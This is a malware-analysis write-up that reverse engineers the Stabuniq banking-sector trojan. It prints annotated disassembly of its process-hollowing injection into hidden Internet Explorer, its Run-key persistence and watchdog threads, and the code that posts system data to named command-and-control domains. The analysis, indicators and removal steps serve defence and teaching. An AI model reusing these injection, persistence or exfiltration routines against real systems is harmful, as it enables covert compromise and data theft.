By

According to Symantec, Stabuniq is a financial infostealer trojan which has been found on servers belonging to financial institutions, including banking firms and credit unions. The Trojan also compromised home computer users and computers at security firms.

Targets sounds interesting, so here at UIC R.E.Academy we decided to take an in depth look to this trojan by adopting a classical Reverse Engineering approach.

Binary Geometry

The sample we are going to reverse could be downloaded from Contagiodump and presents the following basic characteristics:

MD5: F31B797831B36A4877AA0FD173A7A4A2

SHA1: 17DB1BBAA1BF1B920E47B28C3050CBFF83AB16DE

FileSize: 77.50 KB (79360 bytes)

The executable is detected as belonging to: Microsoft Visual C++ 6.0

First Inspection

First inspection is done, as you know, by observing the binary from a disassembler perspective in order to understand the structure of the code that we are going to analyse and successively getting our hands directly into the assembly.

Let’s take a first look to the Call Flow of Stabuinq:

The picture clearly shows that the points of major interest are:

WinMain (obvious)

sub_40F400 due to the presence of interesting API calls like CreateProcessW and SetThreadContext

Once we have a clear idea of what are the core points of our binary we can switch to a dynamic approach, by using a debugger, in order to understand how the code works.

Additionally it’s interesting to observe that there is a lack of indicative strings, this means that this executable is probably packed and/or containts a secondary executable that is decoded and dropped at runtime.

Debugging and carving the second Stabuniq executable

As previously observed WinMain is our starting point, in this case the call is located as follows:

.text:0040F63E loc_40F63E: ; CODE XREF: start+C9j .text:0040F63E push eax ; nShowCmd .text:0040F63F push [ebp+lpCmdLine] ; lpCmdLine .text:0040F642 push esi ; hPrevInstance .text:0040F643 push esi ; lpModuleName .text:0040F644 call ds:GetModuleHandleA .text:0040F64A push eax ; hInstance .text:0040F64B call [email protected] ; WinMain(x,x,x,x) .text:0040F650 mov [ebp+var_60], eax .text:0040F653 push eax ; Code .text:0040F654 call _exit .text:0040F654 start endp

Let’s move inside WinMain now:

0040F3C5 PUSH 208 ; /Count = 520. 0040F3CA PUSH EDX ; |Buffer 0040F3CB PUSH 0 ; |hModule = NULL 0040F3CD CALL <&KERNEL32.GetModuleFilenameW> 0040F3D3 CALL 0040F2D0 ; stabuniq.0040F2D0 0040F3D8 LEA EAX,[LOCAL.129] 0040F3DC PUSH ESI 0040F3DD PUSH EAX 0040F3DE CALL 0040F400 ; call observed in 0040F3E3 ADD ESP,8 ; the call flow 0040F3E6 XOR EAX,EAX 0040F3E8 POP EDI 0040F3E9 POP ESI 0040F3EA ADD ESP,230 0040F3F0 RETN 10

At address 0040F3DE we have CALL 0040F400, that as you should remember from the previously seen call flow, contains some interesting point of investigation.

0040F44C PUSH OFFSET 00414F80 ; /pProcessInformation = 414F80 0040F451 PUSH OFFSET 004145F0 ; |pStartupInfo = 4145F0 0040F456 PUSH 0 ; |CurrentDirectory = NULL 0040F458 PUSH 0 ; |pEnvironment = NULL 0040F45A PUSH 4 ; |CreationFlags = CREATE_SUSPENDED 0040F45C PUSH 0 ; |InheritHandles = FALSE 0040F45E PUSH 0 ; |pThreadSecurity = NULL 0040F460 PUSH 0 ; |pProcessSecurity = NULL 0040F462 MOV EBP,EAX ; | 0040F464 CALL DWORD PTR DS:[<GetCommandLineW>] 0040F46A MOV ECX,DWORD PTR SS:[ARG.1] 0040F46E PUSH EAX ; |CommandLine 0040F46F PUSH ECX ; |ApplicationName => [ARG.1] 0040F470 CALL [<CreateProcessW>] ; \KERNEL32.CreateProcessW

A new process is created with CREATE_SUSPENDED flag, in this way our binary could drop in the suspended process blocks of decrypted code and once memory filling is completed, via ResumeThread API call, the malicous process will execute the new dropped code.

A little bit after we have

0040F48F PUSH 40 ; PAGE_EXECUTE_READWRITE 0040F491 PUSH 3000 ; MEM_COMMIT|MEM_RESERVE 0040F496 PUSH ECX 0040F497 PUSH EDX 0040F498 PUSH EAX 0040F499 CALL DWORD PTR DS:[414F54] ; VirtualAllocEx

PAGE_EXECUTE_READWRITE flag is often a very interesting point because this is a typical element which clearly indicates that a block of executable code is placed in the selected memory area. The picture below show the content of the PAGE_EXECUTE_READWRITE memory block:

As you can see we have a PE structure in memory but a double MZ stub, we can now dump the buffer and resize the file in order to eliminate the first MZ stub by cutting from the buffer start to the second ‘M’.

Our original executable now will transfer this code into the newly created process via WriteProcessMemory and finally via ResumeThread the secondary process is executed.

Preliminary Analysis via Volatility

We can now proceed with the analysis: the next step will be to run the unpacked version of Stabuniq and analyze the memory through Volatility in order to get a better understanding of what’s happening behind the curtains.

vol.exe pslist -f stabuniq.vmem

Volatile Systems Volatility Framework 2.1

Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit

———- ——————– —— —— —— ——– —— —— ——————– ——————–

0x825c87c0 System 4 0 55 345 —— 0

0x824873e8 smss.exe 368 4 3 19 —— 0 2012-12-21 14:24:43

…….

0x82061b10 wuauclt.exe 1200 1024 11 659 0 0 2012-12-21 14:26:07

0x8202b1a8 iexplore.exe 3408 3104 9 157 0 0 2012-12-21 14:27:42

0x820983c8 iexplore.exe 3428 3408 3 35 0 0 2012-12-21 14:27:43

We can clearly see a couple instances of Internet Explorer launched from a process that’s not in the list (PPID 3104) they most probably are shadow IE instances, invisible to the user. Let’s dig a bit deeper to find out if there’s any outgoing connection:

vol.exe connscan -f stabuniq.vmem

Volatile Systems Volatility Framework 2.1

Offset(P) Local Address Remote Address Pid

———- ————————- ————————- —

0x02029168 192.168.45.33:1093 75.102.25.76:80 3408

….

Our shadow instance of IE attempted a connection on port 80 to 75.102.25.76 which translates to ns2.mktdns.com.br. It appears to be a DNS with a webserver configured. It’s time to check for injected code into both the instances:

vol.exe malfind -p 3408 -f stabuniq.vmem

Process: iexplore.exe Pid: 3408 Address: 0x160000

Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE

Flags: CommitCharge: 7, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x160000 55 PUSH EBP

0x160001 8bec MOV EBP, ESP

0x160003 83ec14 SUB ESP, 0x14

0x160006 53 PUSH EBX

0x160007 56 PUSH ESI

0x160008 57 PUSH EDI

0x160009 e800000000 CALL 0x16000e

0x16000e 5b POP EBX

0x16000f 81eb6e2b4000 SUB EBX, 0x402b6e

0x160015 895dfc MOV [EBP-0x4], EBX

0x160018 8b4508 MOV EAX, [EBP+0x8]

0x16001b 8b4dfc MOV ECX, [EBP-0x4]

0x16001e 898814020000 MOV [EAX+0x214], ECX

0x160024 c745f400000000 MOV DWORD [EBP-0xc], 0x0

0x16002b 8b55f4 MOV EDX, [EBP-0xc]

0x16002e 6bd228 IMUL EDX, EDX, 0x28

0x160031 8b4508 MOV EAX, [EBP+0x8]

0x160034 33c9 XOR ECX, ECX

0x160036 668b8c1032120000 MOV CX, [EAX+EDX+0x1232]

0x16003e 85c9 TEST ECX, ECX vol.exe malfind -p 3428 -f stabuniq.vmem

Process: iexplore.exe Pid: 3428 Address: 0x160000

Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE

Flags: CommitCharge: 7, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x160000 55 PUSH EBP

0x160001 8bec MOV EBP, ESP

0x160003 83ec14 SUB ESP, 0x14

0x160006 53 PUSH EBX

0x160007 56 PUSH ESI

0x160008 57 PUSH EDI

0x160009 e800000000 CALL 0x16000e

0x16000e 5b POP EBX

0x16000f 81eb6e2b4000 SUB EBX, 0x402b6e

0x160015 895dfc MOV [EBP-0x4], EBX

0x160018 8b4508 MOV EAX, [EBP+0x8]

0x16001b 8b4dfc MOV ECX, [EBP-0x4]

0x16001e 898814020000 MOV [EAX+0x214], ECX

0x160024 c745f400000000 MOV DWORD [EBP-0xc], 0x0

0x16002b 8b55f4 MOV EDX, [EBP-0xc]

0x16002e 6bd228 IMUL EDX, EDX, 0x28

0x160031 8b4508 MOV EAX, [EBP+0x8]

0x160034 33c9 XOR ECX, ECX

0x160036 668b8c1032120000 MOV CX, [EAX+EDX+0x1232]

0x16003e 85c9 TEST ECX, ECX

We can confirm that both the instances have some, identical, injected code. Let’s check the registry hive:

vol.exe -f stabuniq.vmem printkey -K “Software\Microsoft\Windows\CurrentVersion\Run”

Volatile Systems Volatility Framework 2.1

Legend: (S) = Stable (V) = Volatile

…

Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\default

Key name: Run (S)

Last updated: 2012-12-28 10:14:34 Subkeys: Values:

…

REG_SZ 2ee3cb67-8ecb-4af7-965a-ac0a4dcc1ed9 : (S) C:\Programmi\ComPlus Applications\Uninstall\smagent.exe

Apparently the startup method is pretty straightforward, a random GUID pointing to the trojan’s executable. Let’s now switch to dynamic analysis to better understand what’s going on.

Dynamic Analysis of the Main Module

Right at the beginning of the unpacked executable’s WinMain() procedure we find:

.text:00401788 push 10000 ; dwMilliseconds .text:0040178D call ds:Sleep

possibly a simple trick to fool Sandbox analysis software. We can safely patch it and proceed.

.text:004018FD push offset Name ; "StabilityMutexString" .text:00401902 push 0 ; bInitialOwner .text:00401904 push 0 ; lpMutexAttributes .text:00401906 call ds:CreateMutexW .text:0040190C mov [ebp+var_241C], eax .text:00401912 call ds:GetLastError .text:00401918 cmp eax, 0B7h ; ERROR_ALREADY_EXISTS

Next a mutex called “StabilityMutexString” is created to ensure that only a single instance of this malware is running. If the mutex is found the application stops calling ExitProcess(). After this check several strings are initialized and all the APIs required by the malware are resolved through GetProcAddress() from this routine:

.text:00402AD3 getProcsFromLib proc near ; CODE XREF: WinMain(x,x,x,x)+639p .text:00402AD3 ; WinMain(x,x,x,x)+649p ... .text:00402AD3 .text:00402AD3 hModule = dword ptr -4 .text:00402AD3 proc = dword ptr 8 .text:00402AD3 lpLibFileName = dword ptr 0Ch .text:00402AD3 .text:00402AD3 push ebp .text:00402AD4 mov ebp, esp .text:00402AD6 push ecx .text:00402AD7 mov eax, [ebp+lpLibFileName] .text:00402ADA push eax ; lpLibFileName .text:00402ADB call ds:LoadLibraryW .text:00402AE1 mov [ebp+hModule], eax .text:00402AE4 .text:00402AE4 loc_402AE4: ; CODE XREF: getProcsFromLib+49j .text:00402AE4 mov ecx, [ebp+proc] .text:00402AE7 cmp dword ptr [ecx], 0 .text:00402AEA jz short loc_402B1E .text:00402AEC mov edx, [ebp+proc] .text:00402AEF mov eax, [edx] .text:00402AF1 push eax ; lpProcName .text:00402AF2 mov ecx, [ebp+hModule] .text:00402AF5 push ecx ; hModule .text:00402AF6 call ds:GetProcAddress .text:00402AFC mov edx, ptr_proc .text:00402B02 mov [edx], eax .text:00402B04 mov eax, [ebp+proc] .text:00402B07 add eax, 4 .text:00402B0A mov [ebp+proc], eax .text:00402B0D mov ecx, ptr_proc .text:00402B13 add ecx, 4 .text:00402B16 mov ptr_proc, ecx .text:00402B1C jmp short loc_402AE4 .text:00402B1E ; --------------------------------------------------------------------------- .text:00402B1E .text:00402B1E loc_402B1E: ; CODE XREF: getProcsFromLib+17j .text:00402B1E mov esp, ebp .text:00402B20 pop ebp .text:00402B21 retn 8 .text:00402B21 getProcsFromLib endp

What’s going on here? The first parameter is a NULL-terminated array containing all the functions that needs to be retrieved, the second parameter is the library that the malware wants to query. Each API is resolved and put back into an external buffer. This is the list of all APIs requested:

0012D8F8 778F69B8 ntdll.ZwUnmapViewOfSection

0012D8FC 779653D5 ntdll.RtlDecompressBuffer

0012D900 7645EF42 kernel32.LoadLibraryW

0012D904 7641204D RETURN to kernel32.CreateProcessW

0012D908 7644C7CB kernel32.VirtualAllocEx

0012D90C 7647959F RETURN to kernel32.WriteProcessMemory

0012D910 7649FAEB kernel32.CreateRemoteThread

0012D914 7645E868 kernel32.CloseHandle

0012D918 7645A671 kernel32.lstrcatA

0012D91C 764766BC RETURN to kernel32.lstrcatW

0012D920 7645E8A5 kernel32.CreateFileW

0012D924 7645086B kernel32.GetFileSize

0012D928 7645A5FF kernel32.lstrcpyA

0012D92C 7644910F kernel32.lstrcpyW

0012D930 76446B3F kernel32.CopyFileW

0012D934 7644B333 kernel32.SetFileAttributesW

0012D938 7645A07A kernel32.lstrlenA

0012D93C 7645BDE8 kernel32.lstrlenW

0012D940 7646BBE2 kernel32.ExitProcess

0012D944 7645C3F0 RETURN to kernel32.SetLastError

0012D948 7645CDE0 kernel32.GetLastError

0012D94C 7645D7BC kernel32.CreateEventW

0012D950 7645C2B0 kernel32.WaitForSingleObject

0012D954 7645C280 kernel32.GetTickCount

0012D958 7645FCDD kernel32.GetProcessHeap

0012D95C 76477B43 kernel32.LockFile

0012D960 77902D66 ntdll.RtlAllocateHeap

0012D964 76459BAE kernel32.ReadFile

0012D968 76446F51 kernel32.FindFirstChangeNotificationW

0012D96C 76448C9B kernel32.FindCloseChangeNotification

0012D970 764599D1 kernel32.CreateDirectoryW

0012D974 764653EE kernel32.WriteFile

0012D978 7645DCC2 RETURN to kernel32.CreateThread

0012D97C 7646BC01 kernel32.TerminateThread

0012D980 76451254 kernel32.CreateFileMappingW

0012D984 764650EA kernel32.OpenFileMappingW

0012D988 76459423 kernel32.MapViewOfFile

0012D98C 764533D6 kernel32.CreateMutexW

0012D990 7645D7D4 kernel32.CreateMutexA

0012D994 7645C266 kernel32.Sleep

0012D998 7644777D kernel32.GetProcessVersion

0012D99C 76477928 RETURN to kernel32.lstrcpynW

0012D9A0 7644C4A3 kernel32.GetNativeSystemInfo

0012D9A4 7645C3C0 kernel32.HeapFree

0012D9A8 7645EEFA kernel32.WideCharToMultiByte

0012D9AC 7644FD29 kernel32.CreateToolhelp32Snapshot

0012D9B0 764761ED kernel32.Process32First

0012D9B4 764762B5 kernel32.Process32Next

0012D9B8 764554E7 kernel32.OpenProcess

0012D9BC 7645EF35 kernel32.GetModuleFileNameW

0012D9C0 7645EF07 kernel32.MultiByteToWideChar

0012D9C4 76478BD4 RETURN to kernel32.GetThreadContext

0012D9C8 764A08C3 kernel32.SetThreadContext

0012D9CC 7645171F kernel32.ResumeThread

0012D9D0 76478BF9 kernel32.SuspendThread

0012D9D4 76452C05 kernel32.TerminateProcess

0012D9D8 7645CC94 kernel32.GetProcAddress

0012D9DC 7645DC65 kernel32.LoadLibraryA

0012D9E0 7645D8F3 kernel32.GetModuleHandleA

0012D9E4 7645C43A kernel32.VirtualAlloc

0012D9E8 76466B15 kernel32.VirtualFree

0012D9EC 76452B1D kernel32.lstrcmpiA

0012D9F0 7645F6B4 kernel32.HeapSetInformation

0012D9F4 76465321 kernel32.lstrcmpW

0012D9F8 76466BEE kernel32.SetCurrentDirectoryW

0012D9FC 7645EA61 RETURN to kernel32.CreateFileA

0012DA00 76445B82 kernel32.CreateMailslotA

0012DA04 7649D585 kernel32.GetMailslotInfo

0012DA08 7645C452 kernel32.InterlockedExchange

0012DA0C 76452C15 RETURN to kernel32.VirtualProtect

0012DA10 764712A6 kernel32.CreatePipe

0012DA14 76448DB0 kernel32.SetHandleInformation

0012DA18 7649FE7B kernel32.PeekNamedPipe

0012DA1C 7646404C kernel32.FindFirstFileW

0012DA20 76459B96 kernel32.FindNextFileW

0012DA24 76464C24 RETURN to kernel32.FindClose

0012DA28 764459BA kernel32.RemoveDirectoryW

0012DA2C 76A35728 SHELL32.SHGetFolderPathW

0012DA30 766A40FE ADVAPI32.RegCreateKeyExW

0012DA34 766A468D ADVAPI32.RegOpenKeyExW

0012DA38 766A46AD ADVAPI32.RegQueryValueExW

0012DA3C 766A469D ADVAPI32.RegCloseKey

0012DA40 766A14D6 ADVAPI32.RegSetValueExW

0012DA44 7669E15B ADVAPI32.RegNotifyChangeKeyValue

0012DA48 7669CC15 ADVAPI32.RegOpenKeyA

0012DA4C 766BA299 RETURN to ADVAPI32.RegEnumKeyA

0012DA50 766A48EF ADVAPI32.RegQueryValueExA

0012DA54 766A14B3 ADVAPI32.RegSetValueExA

0012DA58 777B3EF0 SHLWAPI.StrRChrW

0012DA5C 777DE908 SHLWAPI.StrNCatW

0012DA60 777CC57C SHLWAPI.StrCmpNA

0012DA64 777CC45B SHLWAPI.StrStrA

0012DA68 777AC5E6 SHLWAPI.StrChrA

0012DA6C 777CCD65 SHLWAPI.StrToIntA

0012DA70 75F2D5E8 WININET.InternetOpenA

0012DA74 75F3E1C6 WININET.InternetOpenUrlA

0012DA78 75F4567E WININET.InternetConnectA

0012DA7C 75F45761 WININET.HttpOpenRequestA

0012DA80 75F7525A RETURN to WININET.HttpSendRequestA

0012DA84 75F1C664 WININET.InternetCloseHandle

0012DA88 75FC03F3 WININET.InternetSetCookieA

0012DA8C 75FC03D2 RETURN to WININET.InternetGetCookieA

0012DA90 75F197DF WININET.InternetSetOptionA

0012DA94 75F1F8D8 WININET.InternetReadFile

0012DA98 7693EA11 USER32.MessageBoxA

0012DA9C 768F3F47 USER32.wsprintfA

0012DAA0 768F3834 USER32.GetLastInputInfo

0012DAA4 75D42D8B ws2_32.ntohs

0012DAA8 75D4311B ws2_32.inet_addr

0012DAAC 75D43EB8 RETURN to ws2_32.socket

0012DAB0 75D46BDD ws2_32.connect

0012DAB4 75D43918 ws2_32.closesocket

0012DAB8 75D43AB2 ws2_32.WSAStartup

0012DABC 75D43C5F ws2_32.WSACleanup

0012DAC0 77AD15BC psapi.GetModuleFileNameExA

The APIs, together with the list of URLs to contact, installations paths and possible executable names are copied inside a big array of data that will later be accessed by the injected threads. Before spawning the shadow copy of IE, Stabuniq constructs a request that will be sent to the C&C server, composed like this (in my case):

id=127.0.0.1&varname=User44353&comp=PC-44353&ver=Windows 7&src=32Bit&sec=0&view=OllyDbg.exe – explorer.exe – svchost.exe…&dat=page=C:\Users\User44353\Desktop\stabuniq.exe&response= &val=yvuufxrryrdrbxkvfnvtfhufkxpkukkruniyqbcvdursioct&up=eylqcosslqmpjnex

at the same time every value is scrambled with a function called at 0x00408336of our uncompressed executable, the obfuscation can be easily reversed if needed. Finally the function in charge of injecting a thread into IE is called in a loop:

createPostRequest(postRequest, "OK"); while (1) { if(createRemoteIEThread(&postReq) != 1) break; Sleep(6000); }

Threads Analysis

Stabuniq launches iexplore.exe with the CREATE_SUSPENDED flag:

.text:004080B6 push 0 .text:004080B8 push 0 .text:004080BA push 4 .text:004080BC push 1 .text:004080BE push 0 .text:004080C0 push 0 .text:004080C2 push 0 .text:004080C4 mov ecx, [ebp+arg_0] .text:004080C7 add ecx, 1FBEh .text:004080CD push ecx .text:004080CE mov edx, [ebp+arg_0] .text:004080D1 call dword ptr [edx+18h] ; CreateProcessW

Three different memory slots are allocated, after that everything is written in place using WriteProcessMemory(), in this order:

POST request string API table Injected thread code (0x402b60)

Following that the first thread is started from the main module:

.text:0040821B push 0 ; lpThreadId .text:0040821D push 0 ; creation flags .text:0040821F mov ecx, [ebp+allocedThreadParam] .text:00408222 push ecx ; lpParameter .text:00408223 mov edx, [ebp+vallocedMem] .text:00408226 push edx ; start address 0x402b60 .text:00408227 push 0 ; dwStackSize .text:00408229 push 0 ; lpThreadAttributes .text:0040822B mov eax, [ebp+var_10] .text:0040822E push eax ; iexplore.exe handle .text:0040822F mov ecx, [ebp+arg_0] .text:00408232 call dword ptr [ecx+24h] ; CreateRemoteThread

We can take a look into the thread code from the disassembler, the only problem we’ll face here will be the APIs because they’re all called indirectly so we’ll have to manually reconstruct each pointer. First of all LoadLibrary() is called for every DLL that will be used by the thread:

.text:00402BA2 mov edx, [ebp+zero] .text:00402BA5 imul edx, 28h .text:00402BA8 mov eax, [ebp+heapPtr] .text:00402BAB lea ecx, [eax+edx+1232h] ; Dll table .text:00402BB2 push ecx .text:00402BB3 mov edx, [ebp+heapPtr] .text:00402BB6 call dword ptr [edx+14h] ; LoadLibraryW

After that the process tries to create the “StabilityMutexString” mutex. Then it moves the original executable into the a new path:

.text:00402C5E push 1000h .text:00402C63 push 0 .text:00402C65 push 0 .text:00402C67 push 6 .text:00402C69 mov ecx, [ebp+var_14] .text:00402C6C push ecx .text:00402C6D mov edx, [ebp+heapPtr] .text:00402C70 call dword ptr [edx+9Ch] ; MapViewOfFile

Following that all the required registry entries are created. Let’s take a brief look at them.

Startup Method

After running an instance of stabuniq.exe (or its dropper), the original executable is removed and copied in a location picked up from the following table:

\Java Quick Starter

\InstallShield Update Service Scheduler

\SoundMax service agent

\GrooveMonitor Utility

\ComPlus Applications

\AcroIE Helper Module

The middle directory being one of these:

\Update

\Bin

\Uninstall

\Helper

\Installer

and the executable name being one of these:

\jqs.exe

\issch.exe

\smagent.exe

\acroiehelper.exe

\groovemonitor.exe

This directory tree is created right into “Program Files” directory, using a path randomly generated from the previous list. To ensure survival after a reboot several registry entries are added, from the disassembly we see that the first created is:

.text:00407576 push eax .text:00407577 lea ecx, [ebp+var_C] .text:0040757A push ecx .text:0040757B push 0 .text:0040757D push 0F003Fh .text:00407582 push 0 .text:00407584 push 0 .text:00407586 push 0 .text:00407588 mov edx, [ebp+arg_0] .text:0040758B add edx, 1AB6h .text:00407591 push edx ; "Software\Stability Software" .text:00407592 push 80000001h ; HKEY_CURRENT_USER .text:00407597 mov eax, [ebp+arg_0] .text:0040759A call dword ptr [eax+144h] ; RegCreateKeyExW

That translates to the following key:

HKEY_CURRENT_USER\Software\Stability Software\”Uniq” = <GUID>

Where GUID is a a GUID-like id generated here:

.text:00402B24 push ebp .text:00402B25 mov ebp, esp .text:00402B27 sub esp, 14h .text:00402B2A lea eax, [ebp+pguid] .text:00402B2D push eax ; pguid .text:00402B2E call ds:CoCreateGuid .text:00402B34 lea ecx, [ebp+lpString2] .text:00402B37 push ecx ; StringUuid .text:00402B38 lea edx, [ebp+pguid] .text:00402B3B push edx ; Uuid .text:00402B3C call ds:UuidToStringW .text:00402B42 mov eax, [ebp+lpString2] .text:00402B45 push eax ; lpString2 .text:00402B46 mov ecx, [ebp+lpString1] .text:00402B49 push ecx ; lpString1 .text:00402B4A call ds:lstrcpyW

The GUID is used as a reference to start the main executable after adding three registry entries:

.text:0040770E push eax ; Software\Microsoft\Windows\CurrentVersion\Run .text:0040770F push 80000002h .text:00407714 mov ecx, [ebp+arg_0] .text:00407717 call dword ptr [ecx+148h] ; RegOpenKeyExW .text:00407747 push eax ; .DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Run .text:00407748 push 80000003h .text:0040774D mov ecx, [ebp+arg_0] .text:00407750 call dword ptr [ecx+148h] ; RegOpenKeyExW .text:00407780 push eax ; Software\Microsoft\Windows\CurrentVersion\Run .text:00407781 push 80000001h .text:00407786 mov ecx, [ebp+arg_0] .text:00407789 call dword ptr [ecx+148h] ; RegOpenKeyExW

This is the summary of all the entries added to the registry:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\”<GUID>” = “<file.exe>”

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\”<GUID>” = “<file.exe>”

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\”<GUID>” = “<file.exe>”

No other startup methods seems to be used by this trojan.

Three more threads

The first thread takes care of the deletion of the main executable, moves it to the new path, creates any required registry entry, then it starts another instance of Internet Explorer and injects it with its own same code. Then three more thread are created.

First Thread

The first thread, located at: 0x00408008 uses the following routine to keep reinjecting Internet Explorer:

.text:0040802B call dword ptr [eax+0ACh] ; GetProcessVersion .text:00408031 mov [ebp+var_8], eax .text:00408034 cmp [ebp+var_8], 0 .text:00408038 jnz short loc_408071 .text:0040803A mov [ebp+var_4], offset injectedThread ... .text:00408068 mov ecx, [ebp+arg_0] .text:0040806B push ecx .text:0040806C call createRemoteIEThread .text:00408071 .text:00408071 loc_408071: ; CODE XREF: threadReinjectIE+30j .text:00408071 push 1000 .text:00408076 mov edx, [ebp+arg_0] .text:00408079 call dword ptr [edx+0A8h] ; Sleep .text:0040807F jmp short loc_40800E

Then three more threads are created, each one performing a different function.

Second Thread

The second thread is located at this address: 0x00407643, its main function is to keep creating the registry entries used to survive a reboot. Also any modification to these registry entries is monitored:

.text:004077E6 mov eax, [ebp+var_10] .text:004077E9 mov ecx, [ebp+eax*4+var_20] .text:004077ED push ecx .text:004077EE mov edx, [ebp+arg_0] .text:004077F1 call dword ptr [edx+158h] ; RegNotifyChangeKeyValue(TRUE, REG_NOTIFY_CHANGE_NAME|REG_NOTIFY_CHANGE_LAST_SET, 0x710, TRUE) .text:004077F7 mov eax, [ebp+var_10]

Third Thread

The third thread is located at this address: 0x00407CE3, this thread monitors the path where the original executable was started for changes and then finds a suitable place into “Program Files” to drop a copy of the same binary.

.text:00407E43 push ecx .text:00407E44 push 1 .text:00407E46 lea edx, [ebp+var_21C] .text:00407E4C push edx .text:00407E4D mov eax, [ebp+arg_0] .text:00407E50 call dword ptr [eax+7Ch] ; FindFirstChangeNotificationW("\\?\StartupPath", TRUE, FILE_NOTIFY_CHANGE_FILE_NAME|DIR_NAME|ATTRIBUTES|LAST_WRITE) .text:00407E53 mov [ebp+var_10], eax .text:00407E56 .text:00407E56 loc_407E56: .text:00407E56 mov ecx, 1 .text:00407E5B test ecx, ecx .text:00407E5D jz loc_408002 .text:00407E63 push 0FFFFFFFFh .text:00407E65 mov edx, [ebp+var_10] .text:00407E68 push edx .text:00407E69 mov eax, [ebp+arg_0] .text:00407E6C call dword ptr [eax+64h] ; WaitForSingleObject(handle, WAIT_FOREVER)

C&C Communication

Following the creation of every thread, the main one continues by creating a Mailslot and waiting forever on it:

.text:00404442 push 0 .text:00404444 push 0FFFFFFFFh .text:00404446 push 0 .text:00404448 lea ecx, [ebp+var_128] .text:0040444E push ecx .text:0040444F mov edx, [ebp+arg_0] .text:00404452 call dword ptr [edx+114h] ; CreateMailslotA(\\.\Mailslot\GUID, 0, WAIT_FOREVER, NULL) .text:00404458 mov ecx, [ebp+arg_0]

Mailslots are normally used to setup a communication with a remote part. Mailslot’s name is the GUID created during the first stage of the infection, data on this slot is read just before the creation of the list of running processes:

.text:00404533 push ecx .text:00404534 lea edx, [ebp+var_4] .text:00404537 push edx .text:00404538 mov eax, [ebp+var_1C] .text:0040453B push eax .text:0040453C mov ecx, [ebp+var_10] .text:0040453F mov edx, [ecx] .text:00404541 push edx .text:00404542 mov eax, [ebp+arg_0] .text:00404545 mov ecx, [eax+1F8h] .text:0040454B push ecx .text:0040454C mov edx, [ebp+arg_0] .text:0040454F call dword ptr [edx+78h] ; ReadFile(hMailSlot, Buffer, size, ptr, NULL) .text:00404552 push 0 .text:00404554 lea eax, [ebp+var_34] .text:00404557 push eax .text:00404558 lea ecx, [ebp+var_1C] .text:0040455B push ecx .text:0040455C push 0 .text:0040455E mov edx, [ebp+arg_0] .text:00404561 mov eax, [edx+1F8h] .text:00404567 push eax .text:00404568 mov ecx, [ebp+arg_0] .text:0040456B call dword ptr [ecx+118h] ; GetMailSlotInfo()

Right after the binary starts communicating with a couple of hardcoded URLs that, most probably, are the C&C servers:

.data:0040E47C dd offset aSovereutilize ; "sovereutilizeignty.com" .data:0040E480 dd offset aBenhomelandefi ; "benhomelandefit.com"

We have been unable to find only two URLs:

sovereutilizeignty.com

benhomelandefit.com

The page used to process the requests is the same for both domains:

/rssnews.php

We can easily inspect the request:

That’s created here:

.text:00404267 push edx .text:00404268 mov eax, [ebp+arg_18] .text:0040426B add eax, 0E64h .text:00404270 push eax .text:00404271 mov ecx, [ebp+arg_0] .text:00404274 push ecx .text:00404275 mov edx, [ebp+arg_18] .text:00404278 call dword ptr [edx+190h] ; HttpOpenRequestA(handle, "POST", "/rssnews.php")

The response is then parsed, Stabuniq looks for a cookie:

.text:00406053 call dword ptr [eax+1A0h] ; InternetGetCookieA("http://sovere.../rssnews.php", "response=") .text:00406059 cmp [ebp+var_C], 1 .text:0040605D ja short loc_406066 .text:0040605F xor eax, eax ... .text:0040609B push eax .text:0040609C mov ecx, [ebp+var_8] .text:0040609F push ecx .text:004060A0 mov edx, [ebp+arg_4] .text:004060A3 add edx, 0E7Dh .text:004060A9 push edx .text:004060AA mov eax, [ebp+arg_0] .text:004060AD push eax .text:004060AE mov ecx, [ebp+arg_4] .text:004060B1 call dword ptr [ecx+1A0h] ; InternetGetCookieA("...", "response=")

Here the trojan is checking for the presence of a cookie whose name is response=, the content is parsed and it is used to control the trojan’s behavior. During our analysis the domains used were already sinkholed, for this reason we can not reliably confirm what type of interaction the malware has over the infected system. It’s interesting to note however, that after processing the cookie information, details on user’s activity are acquired and sent to the C&C:

.text:0040726B push ecx .text:0040726C mov edx, [ebp+arg_4] .text:0040726F call dword ptr [edx+1B4h] ; GetLastInputInfo .text:00407275 mov eax, [ebp+arg_4] .text:00407278 call dword ptr [eax+68h] ; GetTickCount .text:0040727B mov [ebp+ticks], eax .text:0040727E mov eax, [ebp+ticks] .text:00407281 sub eax, [ebp+var_4] .text:00407284 xor edx, edx .text:00407286 mov ecx, 1000 ; Convert to seconds .text:0040728B div ecx .text:0040728D mov [ebp+var_10], eax .text:00407290 mov edx, [ebp+var_10] .text:00407293 push edx .text:00407294 mov eax, [ebp+arg_4] .text:00407297 add eax, 260h .text:0040729C push eax .text:0040729D mov ecx, [ebp+arg_0] .text:004072A0 push ecx .text:004072A1 mov edx, [ebp+arg_4] .text:004072A4 call dword ptr [edx+1B0h] ; wsprintfA("%d")

then the process list is updated and sent again to the C&C server. In our sample there are a few more strings, unreferenced, that might be an indication of stripped-out code used for different purposes and that might be used from future or different versions of Stabuniq:

Store key in cache? (y/n)

sshtest123

You gonna die like a bitch in the wolfs house.

password:

PortForwardings=

-load muhaha -P

Removal Instructions

Removing this version of Stabuniq is quite easy:

Start your task manager and kill any iexplore.exe process Open the windows registry, remove startup the entries mentioned above Reboot Remove the executable pointed by the startup strings in the registry

Usually running an updated AV is a good option too… Just in case.

Indicators of Compromise

SANS institute recently published a comprehensive analysis of Indicators of Compromise in Memory Forensics, the paper includes also a study of Stabuniq.

Conclusions

Stabuniq seems to be in a phase of information gathering, nevertheless it might become a real threat as soon as the author decides to change the behaviour of this trojan, if you have any update or just want to share something with us, please use the comment section below.

Written by: Quequero & Evilcry